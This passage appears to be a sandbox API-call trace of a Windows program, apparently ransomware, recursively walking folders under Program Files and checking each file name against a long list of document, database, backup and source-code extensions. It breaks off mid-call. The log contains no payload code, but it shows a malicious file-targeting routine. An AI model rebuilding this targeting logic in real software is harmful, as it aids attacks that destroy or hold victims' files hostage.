[0139.713] lstrcmpiW (lpString1=".db", lpString2="xml") returned -1 [0139.713] lstrlenW (lpString=".dbf") returned 4 [0139.713] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0139.713] lstrlenW (lpString=".dbx") returned 4 [0139.713] lstrcmpiW (lpString1=".dbx", lpString2=".xml") returned -1 [0139.713] lstrlenW (lpString=".dc3") returned 4 [0139.713] lstrcmpiW (lpString1=".dc3", lpString2=".xml") returned -1 [0139.713] lstrlenW (lpString=".dcm") returned 4 [0139.713] lstrcmpiW (lpString1=".dcm", lpString2=".xml") returned -1 [0139.713] lstrlenW (lpString=".dcr") returned 4 [0139.713] lstrcmpiW (lpString1=".dcr", lpString2=".xml") returned -1 [0139.713] lstrlenW (lpString=".der") returned 4 [0139.713] lstrcmpiW (lpString1=".der", lpString2=".xml") returned -1 [0139.713] lstrlenW (lpString=".dib") returned 4 [0139.713] lstrcmpiW (lpString1=".dib", lpString2=".xml") returned -1 [0139.713] lstrlenW (lpString=".dic") returned 4 [0139.713] lstrcmpiW (lpString1=".dic", lpString2=".xml") returned -1 [0139.713] lstrlenW (lpString=".dif") returned 4 [0139.713] lstrcmpiW (lpString1=".dif", lpString2=".xml") returned -1 [0139.713] lstrlenW (lpString=".divx") returned 5 [0139.713] lstrcmpiW (lpString1=".divx", lpString2="e.xml") returned -1 [0139.713] lstrlenW (lpString=".djvu") returned 5 [0139.713] lstrcmpiW (lpString1=".djvu", lpString2="e.xml") returned -1 [0139.713] lstrlenW (lpString=".dng") returned 4 [0139.713] lstrcmpiW (lpString1=".dng", lpString2=".xml") returned -1 [0139.713] lstrlenW (lpString=".doc") returned 4 [0139.713] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0139.713] lstrlenW (lpString=".docm") returned 5 [0139.713] lstrcmpiW (lpString1=".docm", lpString2="e.xml") returned -1 [0139.713] lstrlenW (lpString=".docx") returned 5 [0139.714] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0139.714] lstrlenW (lpString=".dot") returned 4 [0139.714] lstrcmpiW (lpString1=".dot", lpString2=".xml") returned -1 [0139.714] lstrlenW (lpString=".dotm") returned 5 [0139.714] lstrcmpiW (lpString1=".dotm", lpString2="e.xml") returned -1 [0139.714] lstrlenW (lpString=".dotx") returned 5 [0139.714] lstrcmpiW (lpString1=".dotx", lpString2="e.xml") returned -1 [0139.714] lstrlenW (lpString=".dpx") returned 4 [0139.714] lstrcmpiW (lpString1=".dpx", lpString2=".xml") returned -1 [0139.714] lstrlenW (lpString=".dqy") returned 4 [0139.714] lstrcmpiW (lpString1=".dqy", lpString2=".xml") returned -1 [0139.714] lstrlenW (lpString=".dsn") returned 4 [0139.714] lstrcmpiW (lpString1=".dsn", lpString2=".xml") returned -1 [0139.714] lstrlenW (lpString=".dt") returned 3 [0139.714] lstrcmpiW (lpString1=".dt", lpString2="xml") returned -1 [0139.714] lstrlenW (lpString=".dtd") returned 4 [0139.714] lstrcmpiW (lpString1=".dtd", lpString2=".xml") returned -1 [0139.714] lstrlenW (lpString=".dwg") returned 4 [0139.714] lstrcmpiW (lpString1=".dwg", lpString2=".xml") returned -1 [0139.714] lstrlenW (lpString=".dwt") returned 4 [0139.714] lstrcmpiW (lpString1=".dwt", lpString2=".xml") returned -1 [0139.714] lstrlenW (lpString=".dx") returned 3 [0139.714] lstrcmpiW (lpString1=".dx", lpString2="xml") returned -1 [0139.714] lstrlenW (lpString=".dxf") returned 4 [0139.714] lstrcmpiW (lpString1=".dxf", lpString2=".xml") returned -1 [0139.714] lstrlenW (lpString=".edml") returned 5 [0139.714] lstrcmpiW (lpString1=".edml", lpString2="e.xml") returned -1 [0139.714] lstrlenW (lpString=".efd") returned 4 [0139.714] lstrcmpiW (lpString1=".efd", lpString2=".xml") returned -1 [0139.714] lstrlenW (lpString=".elf") returned 4 [0139.714] lstrcmpiW (lpString1=".elf", lpString2=".xml") returned -1 [0139.714] lstrlenW (lpString=".emf") returned 4 [0139.714] lstrcmpiW (lpString1=".emf", lpString2=".xml") returned -1 [0139.714] lstrlenW (lpString=".emz") returned 4 [0139.715] lstrcmpiW (lpString1=".emz", lpString2=".xml") returned -1 [0139.715] lstrlenW (lpString=".epf") returned 4 [0139.715] lstrcmpiW (lpString1=".epf", lpString2=".xml") returned -1 [0139.715] lstrlenW (lpString=".eps") returned 4 [0139.715] lstrcmpiW (lpString1=".eps", lpString2=".xml") returned -1 [0139.715] lstrlenW (lpString=".epsf") returned 5 [0139.715] lstrcmpiW (lpString1=".epsf", lpString2="e.xml") returned -1 [0139.715] lstrlenW (lpString=".epsp") returned 5 [0139.715] lstrcmpiW (lpString1=".epsp", lpString2="e.xml") returned -1 [0139.715] lstrlenW (lpString=".erf") returned 4 [0139.715] lstrcmpiW (lpString1=".erf", lpString2=".xml") returned -1 [0139.715] lstrlenW (lpString=".exr") returned 4 [0139.715] lstrcmpiW (lpString1=".exr", lpString2=".xml") returned -1 [0139.715] lstrlenW (lpString=".f4v") returned 4 [0139.715] lstrcmpiW (lpString1=".f4v", lpString2=".xml") returned -1 [0139.715] lstrlenW (lpString=".fido") returned 5 [0139.715] lstrcmpiW (lpString1=".fido", lpString2="e.xml") returned -1 [0139.715] lstrlenW (lpString=".flm") returned 4 [0139.715] lstrcmpiW (lpString1=".flm", lpString2=".xml") returned -1 [0139.715] lstrlenW (lpString=".flv") returned 4 [0139.715] lstrcmpiW (lpString1=".flv", lpString2=".xml") returned -1 [0139.715] lstrlenW (lpString=".frm") returned 4 [0139.715] lstrcmpiW (lpString1=".frm", lpString2=".xml") returned -1 [0139.715] lstrlenW (lpString=".fxg") returned 4 [0139.715] lstrcmpiW (lpString1=".fxg", lpString2=".xml") returned -1 [0139.715] lstrlenW (lpString=".geo") returned 4 [0139.715] lstrcmpiW (lpString1=".geo", lpString2=".xml") returned -1 [0139.715] lstrlenW (lpString=".gif") returned 4 [0139.715] lstrcmpiW (lpString1=".gif", lpString2=".xml") returned -1 [0139.715] lstrlenW (lpString=".grs") returned 4 [0139.715] lstrcmpiW (lpString1=".grs", lpString2=".xml") returned -1 [0139.715] lstrlenW (lpString=".gz") returned 3 [0139.716] lstrcmpiW (lpString1=".gz", lpString2="xml") returned -1 [0139.716] lstrlenW (lpString=".h") returned 2 [0139.716] lstrcmpiW (lpString1=".h", lpString2="ml") returned -1 [0139.716] lstrlenW (lpString=".hdr") returned 4 [0139.716] lstrcmpiW (lpString1=".hdr", lpString2=".xml") returned -1 [0139.716] lstrlenW (lpString=".hpp") returned 4 [0139.716] lstrcmpiW (lpString1=".hpp", lpString2=".xml") returned -1 [0139.716] lstrlenW (lpString=".hta") returned 4 [0139.716] lstrcmpiW (lpString1=".hta", lpString2=".xml") returned -1 [0139.716] lstrlenW (lpString=".htc") returned 4 [0139.716] lstrcmpiW (lpString1=".htc", lpString2=".xml") returned -1 [0139.716] lstrlenW (lpString=".htm") returned 4 [0139.716] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.716] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.716] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0139.716] FindClose (in: hFindFile=0x3e5ba18 | out: hFindFile=0x3e5ba18) returned 1 [0139.717] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x455ff60 | out: hHeap=0x510000) returned 1 [0139.717] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.717] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x445a6a8 [0139.717] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO") returned 100 [0139.717] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\nn-NO\\*", lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0x3e5bb98 [0139.718] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.718] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.718] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.718] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.718] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.718] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0139.719] FindClose (in: hFindFile=0x3e5bb98 | out: hFindFile=0x3e5bb98) returned 1 [0139.719] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0139.719] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.719] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x445a6a8 [0139.719] lstrlenW (lpString="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL") returned 100 [0139.719] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pl-PL\\*", lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0x3e5bed8 [0139.720] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.720] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.720] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.720] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.720] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.721] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0139.721] FindClose (in: hFindFile=0x3e5bed8 | out: hFindFile=0x3e5bed8) returned 1 [0139.721] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0139.721] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.721] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x445a6a8 [0139.721] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-BR\\*", lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0x3e5ba18 [0139.722] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.722] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.722] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.722] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.722] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.722] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0139.723] FindClose (in: hFindFile=0x3e5ba18 | out: hFindFile=0x3e5ba18) returned 1 [0139.723] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0139.723] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.723] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x445a6a8 [0139.723] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\pt-PT\\*", lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0x3e5ba18 [0139.724] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.724] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.724] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.724] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.724] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.724] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0139.724] FindClose (in: hFindFile=0x3e5ba18 | out: hFindFile=0x3e5ba18) returned 1 [0139.725] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0139.725] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.725] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x445a6a8 [0139.725] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\resources\\*", lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0x3e5bb98 [0139.726] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.726] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.726] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.726] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.726] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.726] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.726] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.726] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.726] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.726] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.726] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.727] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.727] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.727] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.727] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0 [0139.727] FindClose (in: hFindFile=0x3e5bb98 | out: hFindFile=0x3e5bb98) returned 1 [0139.727] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x445a6a8 | out: hHeap=0x510000) returned 1 [0139.727] FindNextFileW (in: hFindFile=0x3e5bcd8, lpFindFileData=0x33cee10 | out: lpFindFileData=0x33cee10) returned 1 [0139.728] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x445a6a8 [0139.728] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ro-RO\\*", lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 0x3e5bed8 [0139.728] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.728] FindNextFileW (in: hFindFile=0x3e5bed8, lpFindFileData=0x33ceb94 | out: lpFindFileData=0x33ceb94) returned 1 [0139.728] lstrlenW (lpString="index.html") returned 10 [0139.728] lstrlenW (lpString=".1cd") returned 4 [0139.728] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0139.728] lstrlenW (lpString=".3ds") returned 4 [0139.728] lstrcmpiW (lpString1=".3ds", lpString2="html") returned -1 [0139.729] lstrlenW (lpString=".3fr") returned 4 [0139.729] lstrcmpiW (lpString1=".3fr", lpString2="html") returned -1 [0139.729] lstrlenW (lpString=".3g2") returned 4 [0139.729] lstrcmpiW (lpString1=".3g2", lpString2="html") returned -1 [0139.729] lstrlenW (lpString=".3gp") returned 4 [0139.729] lstrcmpiW (lpString1=".3gp", lpString2="html") returned -1 [0139.729] lstrlenW (lpString=".7z") returned 3 [0139.729] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0139.729] lstrlenW (lpString=".accda") returned 6 [0139.729] lstrcmpiW (lpString1=".accda", lpString2="x.html") returned -1 [0139.729] lstrlenW (lpString=".accdb") returned 6 [0139.729] lstrcmpiW (lpString1=".accdb", lpString2="x.html") returned -1 [0139.729] lstrlenW (lpString=".accdc") returned 6 [0139.729] lstrcmpiW (lpString1=".accdc", lpString2="x.html") returned -1 [0139.729] lstrlenW (lpString=".accde") returned 6 [0139.729] lstrcmpiW (lpString1=".accde", lpString2="x.html") returned -1 [0139.729] lstrlenW (lpString=".accdt") returned 6 [0139.729] lstrcmpiW (lpString1=".accdt", lpString2="x.html") returned -1 [0139.729] lstrlenW (lpString=".accdw") returned 6 [0139.729] lstrcmpiW (lpString1=".accdw", lpString2="x.html") returned -1 [0139.729] lstrlenW (lpString=".adb") returned 4 [0139.729] lstrcmpiW (lpString1=".adb", lpString2="html") returned -1 [0139.729] lstrlenW (lpString=".adp") returned 4 [0139.729] lstrcmpiW (lpString1=".adp", lpString2="html") returned -1 [0139.729] lstrlenW (lpString=".ai") returned 3 [0139.729] lstrcmpiW (lpString1=".ai", lpString2="tml") returned -1 [0139.729] lstrlenW (lpString=".ai3") returned 4 [0139.729] lstrcmpiW (lpString1=".ai3", lpString2="html") returned -1 [0139.729] lstrlenW (lpString=".ai4") returned 4 [0139.729] lstrcmpiW (lpString1=".ai4", lpString2="html") returned -1 [0139.729] lstrlenW (lpString=".ai5") returned 4 [0139.729] lstrcmpiW (lpString1=".ai5", lpString2="html") returned -1 [0139.729] lstrlenW (lpString=".ai6") returned 4 [0139.730] lstrcmpiW (lpString1=".ai6", lpString2="html") returned -1 [0139.730] lstrlenW (lpString=".ai7") returned 4 [0139.730] lstrcmpiW (lpString1=".ai7", lpString2="html") returned -1 [0139.730] lstrlenW (lpString=".ai8") returned 4 [0139.730] lstrcmpiW (lpString1=".ai8", lpString2="html") returned -1 [0139.730] lstrlenW (lpString=".anim") returned 5 [0139.730] lstrcmpiW (lpString1=".anim", lpString2=".html") returned -1 [0139.730] lstrlenW (lpString=".arw") returned 4 [0139.730] lstrcmpiW (lpString1=".arw", lpString2="html") returned -1 [0139.730] lstrlenW (lpString=".as") returned 3 [0139.730] lstrcmpiW (lpString1=".as", lpString2="tml") returned -1 [0139.730] lstrlenW (lpString=".asa") returned 4 [0139.730] lstrcmpiW (lpString1=".asa", lpString2="html") returned -1 [0139.730] lstrlenW (lpString=".asc") returned 4 [0139.730] lstrcmpiW (lpString1=".asc", lpString2="html") returned -1 [0139.730] lstrlenW (lpString=".ascx") returned 5 [0139.730] lstrcmpiW (lpString1=".ascx", lpString2=".html") returned -1 [0139.730] lstrlenW (lpString=".asm") returned 4 [0139.730] lstrcmpiW (lpString1=".asm", lpString2="html") returned -1 [0139.730] lstrlenW (lpString=".asmx") returned 5 [0139.730] lstrcmpiW (lpString1=".asmx", lpString2=".html") returned -1 [0139.730] lstrlenW (lpString=".asp") returned 4 [0139.730] lstrcmpiW (lpString1=".asp", lpString2="html") returned -1 [0139.730] lstrlenW (lpString=".aspx") returned 5 [0139.730] lstrcmpiW (lpString1=".aspx", lpString2=".html") returned -1 [0139.730] lstrlenW (lpString=".asr") returned 4 [0139.730] lstrcmpiW (lpString1=".asr", lpString2="html") returned -1 [0139.730] lstrlenW (lpString=".asx") returned 4 [0139.730] lstrcmpiW (lpString1=".asx", lpString2="html") returned -1 [0139.730] lstrlenW (lpString=".avi") returned 4 [0139.730] lstrcmpiW (lpString1=".avi", lpString2="html") returned -1 [0139.730] lstrlenW (lpString=".avs") returned 4 [0139.730] lstrcmpiW (lpString1=".avs", lpString2="html") returned -1 [0139.730] lstrlenW (lpString=".backup") returned 7 [0139.731] lstrcmpiW (lpString1=".backup", lpString2="ex.html") returned -1 [0139.731] lstrlenW (lpString=".bak") returned 4 [0139.731] lstrcmpiW (lpString1=".bak", lpString2="html") returned -1 [0139.731] lstrlenW (lpString=".bay") returned 4 [0139.731] lstrcmpiW (lpString1=".bay", lpString2="html") returned -1 [0139.731] lstrlenW (lpString=".bd") returned 3 [0139.731] lstrcmpiW (lpString1=".bd", lpString2="tml") returned -1 [0139.731] lstrlenW (lpString=".bin") returned 4 [0139.731] lstrcmpiW (lpString1=".bin", lpString2="html") returned -1 [0139.731] lstrlenW (lpString=".bmp") returned 4 [0139.731] lstrcmpiW (lpString1=".bmp", lpString2="html") returned -1 [0139.731] lstrlenW (lpString=".bz2") returned 4 [0139.731] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0139.731] lstrlenW (lpString=".c") returned 2 [0139.731] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0139.731] lstrlenW (lpString=".cdr") returned 4 [0139.731] lstrcmpiW (lpString1=".cdr", lpString2="html") returned -1 [0139.731] lstrlenW (lpString=".cer") returned 4 [0139.731] lstrcmpiW (lpString1=".cer", lpString2="html") returned -1 [0139.731] lstrlenW (lpString=".cf") returned 3 [0139.731] lstrcmpiW (lpString1=".cf", lpString2="tml") returned -1 [0139.731] lstrlenW (lpString=".cfc") returned 4 [0139.731] lstrcmpiW (lpString1=".cfc", lpString2="html") returned -1 [0139.731] lstrlenW (lpString=".cfm") returned 4 [0139.731] lstrcmpiW (lpString1=".cfm", lpString2="html") returned -1 [0139.731] lstrlenW (lpString=".cfml") returned 5 [0139.731] lstrcmpiW (lpString1=".cfml", lpString2=".html") returned -1 [0139.731] lstrlenW (lpString=".cfu") returned 4 [0139.731] lstrcmpiW (lpString1=".cfu", lpString2="html") returned -1 [0139.731] lstrlenW (lpString=".chm") returned 4 [0139.731] lstrcmpiW (lpString1=".chm", lpString2="html") returned -1 [0139.731] lstrlenW (lpString=".cin") returned 4 [0139.731] lstrcmpiW (lpString1=".cin", lpString2="html") returned -1 [0139.731] lstrlenW (lpString=".class") returned 6 [0139.732] lstrcmpiW (lpString1=".class", lpString2="x.html") returned -1 [0139.732] lstrlenW (lpString=".clx") returned 4 [0139.732] lstrcmpiW (lpString1=".clx", lpString2="html") returned -1 [0139.732] lstrlenW (lpString=".config") returned 7 [0139.732] lstrcmpiW (lpString1=".config", lpString2="ex.html") returned -1 [0139.732] lstrlenW (lpString=".cpp") returned 4 [0139.732] lstrcmpiW (lpString1=".cpp", lpString2="html") returned -1 [0139.732] lstrlenW (lpString=".cr2") returned 4 [0139.732] lstrcmpiW (lpString1=".cr2", lpString2="html") returned -1 [0139.732] lstrlenW (lpString=".crt") returned 4 [0139.732] lstrcmpiW (lpString1=".crt", lpString2="html") returned -1 [0139.732] lstrlenW (lpString=".crw") returned 4 [0139.732] lstrcmpiW (lpString1=".crw", lpString2="html") returned -1 [0139.732] lstrlenW (lpString=".cs") returned 3 [0139.732] lstrcmpiW (lpString1=".cs", lpString2="tml") returned -1 [0139.732] lstrlenW (lpString=".css") returned 4 [0139.732] lstrcmpiW (lpString1=".css", lpString2="html") returned -1 [0139.732] lstrlenW (lpString=".csv") returned 4 [0139.732] lstrcmpiW (lpString1=".csv", lpString2="html") returned -1 [0139.732] lstrlenW (lpString=".cub") returned 4 [0139.732] lstrcmpiW (lpString1=".cub", lpString2="html") returned -1 [0139.732] lstrlenW (lpString=".dae") returned 4 [0139.732] lstrcmpiW (lpString1=".dae", lpString2="html") returned -1 [0139.732] lstrlenW (lpString=".dat") returned 4 [0139.732] lstrcmpiW (lpString1=".dat", lpString2="html") returned -1 [0139.732] lstrlenW (lpString=".db") returned 3 [0139.732] lstrcmpiW (lpString1=".db", lpString2="tml") returned -1 [0139.732] lstrlenW (lpString=".dbf") returned 4 [0139.732] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0139.732] lstrlenW (lpString=".dbx") returned 4 [0139.732] lstrcmpiW (lpString1=".dbx", lpString2="html") returned -1 [0139.732] lstrlenW (lpString=".dc3") returned 4 [0139.732] lstrcmpiW (lpString1=".dc3", lpString2="html") returned -1 [0139.732] lstrlenW (lpString=".dcm") returned 4 [0139.733] lstrcmpiW (lpString1=".dcm", lpString2="html") returned -1 [0139.733] lstrlenW (lpString=".dcr") returned 4 [0139.733] lstrcmpiW (lpString1=".dcr", lpString2="html") returned -1 [0139.733] lstrlenW (lpString=".der") returned 4 [0139.733] lstrcmpiW (lpString1=".der", lpString2="html") returned -1 [0139.733] lstrlenW (lpString=".dib") returned 4 [0139.733] lstrcmpiW (lpString1=".dib", lpString2="html") returned -1 [0139.733] lstrlenW (lpString=".dic") returned 4 [0139.733] lstrcmpiW (lpString1=".dic", lpString2="html") returned -1 [0139.733] lstrlenW (lpString=".dif") returned 4 [0139.733] lstrcmpiW (lpString1=".dif", lpString2="html") returned -1 [0139.733] lstrlenW (lpString=".divx") returned 5 [0139.733] lstrcmpiW (lpString1=".divx", lpString2=".html") returned -1 [0139.733] lstrlenW (lpString=".djvu") returned 5 [0139.733] lstrcmpiW (lpString1=".djvu", lpString2=".html") returned -1 [0139.733] lstrlenW (lpString=".dng") returned 4 [0139.733] lstrcmpiW (lpString1=".dng", lpString2="html") returned -1 [0139.733] lstrlenW (lpString=".doc") returned 4 [0139.733] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0139.733] lstrlenW (lpString=".docm") returned 5 [0139.733] lstrcmpiW (lpString1=".docm", lpString2=".html") returned -1 [0139.733] lstrlenW (lpString=".docx") returned 5 [0139.733] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0139.733] lstrlenW (lpString=".dot") returned 4 [0139.733] lstrcmpiW (lpString1=".dot", lpString2="html") returned -1 [0139.733] lstrlenW (lpString=".dotm") returned 5 [0139.733] lstrcmpiW (lpString1=".dotm", lpString2=".html") returned -1 [0139.733] lstrlenW (lpString=".dotx") returned 5 [0139.733] lstrcmpiW (lpString1=".dotx", lpString2=".html") returned -1 [0139.733] lstrlenW (lpString=".dpx") returned 4 [0139.733] lstrcmpiW (lpString1=".dpx", lpString2="html") returned -1 [0139.733] lstrlenW (lpString=".dqy") returned 4 [0139.733] lstrcmpiW (lpString1=".dqy", lpString2="html") returned -1 [0139.733] lstrlenW (lpString=".dsn") returned 4 [0139.734] lstrcmpiW (lpString1=".dsn", lpString2="html") returned -1 [0139.734] lstrlenW (lpString=".dt") returned 3 [0139.734] lstrcmpiW (lpString1=".dt", lpString2="tml") returned -1 [0139.734] lstrlenW (lpString=".dtd") returned 4 [0139.734] lstrcmpiW (lpString1=".dtd", lpString2="html") returned -1 [0139.734] lstrlenW (lpString=".dwg") returned 4 [0139.734] lstrcmpiW (lpString1=".dwg", lpString2="html") returned -1 [0139.734] lstrlenW (lpString=".dwt") returned 4 [0139.734] lstrcmpiW (lpString1=".dwt", lpString2="html") returned -1 [0139.734] lstrlenW (lpString=".dx") returned 3 [0139.734] lstrcmpiW (lpString1=".dx", lpString2="tml") returned -1 [0139.734] lstrlenW (lpString=".dxf") returned 4 [0139.945] lstrcmpiW (lpString1=".dxf", 